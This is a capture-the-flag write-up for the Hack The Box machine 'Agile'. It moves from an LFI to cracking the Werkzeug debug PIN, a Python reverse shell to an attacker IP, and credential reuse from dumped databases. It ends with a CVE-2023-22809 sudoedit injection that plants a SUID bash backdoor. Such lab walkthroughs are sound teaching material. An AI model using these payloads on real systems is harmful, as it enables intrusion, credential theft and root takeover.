Information
Name | Agile |
Release Date | 4 Mar 2023 |
OS | Linux |
Difficulty | Medium |
Vulnerabilities | LFI, Misconfiguration |
Languages | Python |
Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
msplmee@kali:~$ nmap -p- --min-rate 10000 10.10.11.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-09 00:52 EDT
Nmap scan report for 10.10.11.203
Host is up (0.038s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 10.55 seconds
msplmee@kali:~$ nmap -p 22,80 -sCV 10.10.11.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-09 00:52 EDT
Nmap scan report for 10.10.11.203
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
The scan reveals ports 22 (SSH) and 80 (Nginx) open.
Subdomain Brute Force
I try to brute force the DNS server named “superpass.htb” with ffuf
to check if there are any different subdomains. However, it doesn’t return any results.
So let’s add this vHost to /etc/hosts file.
1
echo '10.10.11.203 superpass.htb' | sudo tee -a /etc/hosts
Website - TCP 80
The website has functionality to login.
I create an account. Once I log in, it takes me to the /vault
page. There are two functions “Add a password” and “Export”.
“Add a password” opens a form with the password already filled in. I finish the remaining parts and save it by clicking the icon.
“Export” make download a CSV file.
Shell as www-data
When I click on “Export”, there’s a GET request to /vault/export
, which returns a 302 to /download?fn=[username]_export
_
[hex].csv
LFI
The download fn
parameter has vulnerable to LFI
Flask Debug
When I try an invalid request file path, the page crashes revealing that the server is running Flask in debug mode.
I can open the debugger by clicking on the terminal icon in the Python code traceback. Running Python code lets I use a reverse shell. However, Werkzeug secures these interpreters with a PIN.
But Werkzeug didn’t ensure the safety of the PIN. The PIN can be calculated if I have some strings from the system, using LFI.
Following the Hacktricks guide on cracking this PIN. The PIN is generated via values:
- Username:
/proc/self/environ
- Mod Name: This is either
flask.app
orwerkzeug.debug
- App Name: This is either
wsgi_app
,DebuggedApplication
, orFlask
. - Absolute path of
app.py
:getattr(mod, '__file__', None)
- MAC Address:
/sys/class/net/<device id>/address
- Machine ID:
/etc/machine-id
,/proc/self/cgroup
Username: www-data
Mod name: flask.app
App.name: wsgi_app
Absolute path of app.py: /app/venv/lib/python3.10/site-packages/flask/app.py
MAC Address: int("00:50:56:b9:39:fa".replace(':',''),16) =
345052363258
Machine ID: ed5b159560f54721827644bc9b220d00superpass.service
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
#/app/venv/lib/python3.10/site-packages/werkzeug/debug/__init__.py
private_bits = [
'345052363258',# str(uuid.getnode()), /sys/class/net/eth0/address
# Machine Id: /etc/machine-id + /proc/self/cgroup
'ed5b159560f54721827644bc9b220d00superpass.service'
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)
1
2
msplmee@kali:~$ python crack_pin.py
Pin: 428-436-810
Shell
I get reverse shell with payload from Revshells
1
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.22",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
On sending this, I get a shell at my pwncat
1
2
3
4
5
6
7
msplmee@kali:~/HTB/Machine/Agile$ pwncat-cs -l -p 443
[04:18:16] Welcome to pwncat 🐈!
[04:19:01] received connection from 10.10.11.203:41812
[04:19:02] 10.10.11.203:41812: registered new host w/ db
(local) pwncat$
(remote) www-data@agile:/app/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell as corum
I can read the DB connection string from /app/config_prod.json
1
2
www-data@agile:/app/app$ cat /app/config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
I use that to connect to the database and dump the passwords
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
www-data@agile:/app/app$ mysql -u superpassuser -p
Enter password:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| superpass |
+--------------------+
3 rows in set (0.00 sec)
mysql> use superpass;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords |
| users |
+---------------------+
2 rows in set (0.00 sec)
mysql> select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)
There’s a password for the “agile” which is used by the corum user.
Now I can log in as the corum via SSH. The user flag can be found in /home/corum/user.txt
1
2
3
4
5
6
7
8
msplmee@kali:~/HTB/Machine/Agile$ pwncat-cs ssh://corum:5db7caa1d13cc37c9fc2@superpass.htb
[04:41:04] Welcome to pwncat 🐈!
[04:41:06] superpass.htb:22: registered new host w/ db
(local) pwncat$
(remote) corum@agile:/home/corum$ ls
user.txt
(remote) corum@agile:/home/corum$ cat user.txt
120*****************************
Shell as edwards
The app
directory contains an interesting file: config_test.json
. This file is not readable by corum
though. There’s a directory for production using config_prod.json
, and there is also a directory for testing, so let’s explore that.
1
2
3
4
5
6
7
8
corum@agile:/app$ ls -l
total 24
drwxr-xr-x 5 corum runner 4096 Feb 8 16:29 app
drwxr-xr-x 9 runner runner 4096 Feb 8 16:36 app-testing
-r--r----- 1 dev_admin www-data 88 Jan 25 2023 config_prod.json
-r--r----- 1 dev_admin runner 99 Jan 25 2023 config_test.json
-rwxr-xr-x 1 root runner 557 Aug 9 09:21 test_and_update.sh
drwxrwxr-x 5 root dev_admin 4096 Feb 8 16:29 venv
The test_and_update.sh
script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
# update prod with latest from testing constantly assuming tests are passing
echo "Starting test_and_update"
date
# if already running, exit
ps auxww | grep -v "grep" | grep -q "pytest" && exit
echo "Not already running. Starting..."
# start in dev folder
cd /app/app-testing
# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate
# run tests, exit if failure
pytest -x 2>&1 >/dev/null || exit
# tests good, update prod (flask debug mode will load it instantly)
cp -r superpass /app/app/
echo "Complete!"
There’s one file of tests in app-testing
1
2
3
4
5
corum@agile:/app/app-testing/tests/functional$ ls -l
total 12
drwxrwxr-x 2 runner runner 4096 Aug 9 09:21 __pycache__
-rw-r----- 1 dev_admin runner 34 Aug 9 09:27 creds.txt
-rw-r--r-- 1 runner runner 2663 Aug 9 09:27 test_site_interactively.py
corum can’t read creds.txt
. It’s used in test_site_interactively
to log into the page on test.superpass.htb
. It’s using Selenium with headless Chrome to load the site:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
username, password = f.read().strip().split(':')
@pytest.fixture(scope="session")
def driver():
options = Options()
#options.add_argument("--no-sandbox")
options.add_argument("--window-size=1420,1080")
options.add_argument("--headless")
options.add_argument("--remote-debugging-port=41829")
options.add_argument('--disable-gpu')
options.add_argument('--crash-dumps-dir=/tmp')
driver = webdriver.Chrome(options=options)
yield driver
driver.close()
......
def test_login(driver):
print("starting test_login")
driver.get('http://test.superpass.htb/account/login')
time.sleep(1)
username_input = driver.find_element(By.NAME, "username")
username_input.send_keys(username)
password_input = driver.find_element(By.NAME, "password")
password_input.send_keys(password)
driver.find_element(By.NAME, "submit").click()
time.sleep(3)
title = driver.find_element(By.TAG_NAME, "h1")
assert title.text == "Welcome to your vault"
The test.superpass.htb
site is defined in /etc/nginx/sites-available/superpass-test.nginx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server {
listen 127.0.0.1:80;
server_name test.superpass.htb;
location /static {
alias /app/app-testing/superpass/static;
expires 365d;
}
location / {
include uwsgi_params;
proxy_pass http://127.0.0.1:5555;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Protocol $scheme;
}
}
Port 5555 is open.
1
2
3
4
corum@agile:$ netstat -tnlp | grep 5555
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:5555 0.0.0.0:* LISTEN -
I can connect to it by directly creating a tunnel to TCP port 5555 on Agile.
1
msplmee@kali:~$ ssh -L 5555:127.0.0.1:5555 corum@superpass.htb
I go to localhost:5555
and see the same page, but it doesn’t have LFI vulnerable and is not in debug mode.
Check remote debug port.
1
2
3
4
corum@agile:/$ netstat -tnlp | grep 41829
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:41829 0.0.0.0:* LISTEN -
I use SSH to forward 41829 on my host to 41829 on Agile.
1
msplmee@kali:~$ ssh -L 41829:127.0.0.1:41829 corum@superpass.htb
Method 1
Add port 41829 to chrome://inspect
.
Clicking on “inspect”. The credentials for edwards can be grabbed from here.
Method 2
I read read file config_test.json
with file
protocol
I go to devtoolsFrontendUrl
1
{"SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"}
I use that to connect to the database and get edwards’s passwords.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
corum@agile:/$ mysql -u superpasstester -p
Enter password:
......
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| superpasstest |
+--------------------+
3 rows in set (0.00 sec)
mysql> use superpasstest;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------------+
| Tables_in_superpasstest |
+-------------------------+
| passwords |
| users |
+-------------------------+
2 rows in set (0.00 sec)
mysql> select * from passwords;
+----+---------------------+---------------------+---------+------------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+---------+------------+----------------------+---------+
| 1 | 2023-01-25 01:10:54 | 2023-01-25 01:10:54 | agile | edwards | d07867c6267dcb5df0af | 1 |
| 2 | 2023-01-25 01:14:17 | 2023-01-25 01:14:17 | twitter | dedwards__ | 7dbfe676b6b564ce5718 | 1 |
+----+---------------------+---------------------+---------+------------+----------------------+---------+
2 rows in set (0.00 sec)
I log in as the edwards
via SSH.
1
2
3
4
5
6
msplmee@kali:~$ pwncat-cs ssh://edwards:d07867c6267dcb5df0af@superpass.htb
[06:12:34] Welcome to pwncat 🐈!
[06:12:36] superpass.htb:22: registered new host w/ db
(local) pwncat$
(remote) edwards@agile:/home/edwards$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)
Shell as root
I can run sudoedit
for or the “config_test.json” file and “creds.txt” file as dev_admin.
1
2
3
4
5
6
7
8
9
10
edwards@agile:/$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
The sudo version is older than 1.9.12p2
, so sudoedit is vulnerable to CVE-2023-22809
. To exploit this vulnerability, I require a file that the dev_admin
can create, and root can execute.
1
2
3
4
5
6
edwards@agile:/$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
I runpspy64
to check any processes that are run by root and found that the /app/venv/bin/activate
run by root and owned by the dev_admin group.
1
2
edwards@agile:/$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug 9 10:24 /app/venv/bin/activate
Exploit CVE-2023-22809
1
edwards@agile:/$ EDITOR="vim -- /app/venv/bin/activate" sudo -u dev_admin sudoedit /app/config_test.json
1
2
3
4
5
6
7
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
cp /bin/bash /tmp/msplmee
chmod 4777 /tmp/msplmee
deactivate () {...}
After one more minute, the backdoor has moved to the /tmp
directory and provides a shell access:
1
2
3
4
5
6
7
edwards@agile:/$ ls -l /tmp/msplmee
-rwsrwxrwx 1 root root 1396520 Aug 9 10:32 /tmp/msplmee
edwards@agile:/$ /tmp/msplmee -p
root@agile:/# id
uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards)
root@agile:/# cat /root/root.txt
781*****************************